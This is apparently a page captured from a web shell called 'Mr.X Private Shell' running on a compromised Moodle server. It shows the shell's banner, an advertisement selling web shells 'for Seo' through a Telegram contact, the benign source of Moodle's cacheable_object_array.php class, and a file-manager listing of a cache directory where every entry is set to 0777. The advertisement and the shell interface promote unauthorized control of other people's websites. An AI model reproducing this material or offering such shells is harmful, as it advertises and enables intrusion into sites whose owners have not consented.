__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace core_cache;
use core\exception\coding_exception;
use ArrayObject;
/**
* An array of cacheable objects.
*
* This class allows a developer to create an array of cacheable objects and store that.
* The cache API doesn't check items within an array to see whether they are cacheable. Such a check would be very costly to both
* arrays using cacheable object and those that don't.
* Instead the developer must explicitly use a cacheable_object_array instance.
*
* The following is one example of how this class can be used.
* <code>
* $data = array();
* $data[] = new cacheable_object('one');
* $data[] = new cacheable_object('two');
* $data[] = new cacheable_object('three');
* $cache->set(new cacheable_object_array($data));
* </code>
* Another example would be
* <code>
* $data = new cacheable_object_array();
* $data[] = new cacheable_object('one');
* $data[] = new cacheable_object('two');
* $data[] = new cacheable_object('three');
* $cache->set($data);
* </code>
*
* @copyright 2012 Sam Hemelryk
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* @package core_cache
*/
class cacheable_object_array extends ArrayObject implements cacheable_object_interface {
/**
* Constructs a new array object instance.
* @param array $items
*/
final public function __construct(array $items = []) {
parent::__construct($items, ArrayObject::STD_PROP_LIST);
}
/**
* Returns the data to cache for this object.
*
* @return cached_object[] An array of cached_object instances.
* @throws coding_exception
*/
final public function prepare_to_cache() {
$result = [];
foreach ($this as $key => $value) {
if ($value instanceof cacheable_object_interface) {
$value = new cached_object($value);
} else {
throw new coding_exception('Only cacheable_object instances can be added to a cacheable_array');
}
$result[$key] = $value;
}
return $result;
}
/**
* Returns the cacheable_object_array that was originally sent to the cache.
*
* @param array $data
* @return self
* @throws coding_exception
*/
final public static function wake_from_cache($data) {
if (!is_array($data)) {
throw new coding_exception('Invalid data type when reviving cacheable_array data');
}
$result = [];
foreach ($data as $key => $value) {
$result[$key] = $value->restore_object();
}
$class = __CLASS__;
return new $class($result);
}
}
// Alias this class to the old name.
// This file will be autoloaded by the legacyclasses autoload system.
// In future all uses of this class will be corrected and the legacy references will be removed.
class_alias(cacheable_object_array::class, \cacheable_object_array::class);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| exception | Folder | 0777 |
|
|
| form | Folder | 0777 |
|
|
| local | Folder | 0777 |
|
|
| output | Folder | 0777 |
|
|
| privacy | Folder | 0777 |
|
|
| administration_helper.php | File | 17 KB | 0777 |
|
| allow_temporary_caches.php | File | 2.81 KB | 0777 |
|
| application_cache.php | File | 14.02 KB | 0777 |
|
| cache.php | File | 64.21 KB | 0777 |
|
| cache_lock_interface.php | File | 3.53 KB | 0777 |
|
| cacheable_object_array.php | File | 3.54 KB | 0777 |
|
| cacheable_object_interface.php | File | 2.18 KB | 0777 |
|
| cached_object.php | File | 2.02 KB | 0777 |
|
| config.php | File | 20.98 KB | 0777 |
|
| config_writer.php | File | 26.97 KB | 0777 |
|
| configurable_cache_interface.php | File | 2.12 KB | 0777 |
|
| data_source_interface.php | File | 2.57 KB | 0777 |
|
| definition.php | File | 36.25 KB | 0777 |
|
| disabled_cache.php | File | 6.18 KB | 0777 |
|
| disabled_config.php | File | 6.71 KB | 0777 |
|
| disabled_factory.php | File | 8.57 KB | 0777 |
|
| dummy_cachestore.php | File | 7.58 KB | 0777 |
|
| factory.php | File | 26.03 KB | 0777 |
|
| helper.php | File | 34.7 KB | 0777 |
|
| key_aware_cache_interface.php | File | 4.26 KB | 0777 |
|
| loader_interface.php | File | 10.86 KB | 0777 |
|
| loader_with_locking_interface.php | File | 3.6 KB | 0777 |
|
| lockable_cache_interface.php | File | 2.8 KB | 0777 |
|
| request_cache.php | File | 1.61 KB | 0777 |
|
| searchable_cache_interface.php | File | 1.63 KB | 0777 |
|
| session_cache.php | File | 25.23 KB | 0777 |
|
| store.php | File | 15.77 KB | 0777 |
|
| store_interface.php | File | 2.94 KB | 0777 |
|
| ttl_wrapper.php | File | 1.95 KB | 0777 |
|
| version_wrapper.php | File | 1.36 KB | 0777 |
|
| versionable_data_source_interface.php | File | 2.16 KB | 0777 |
|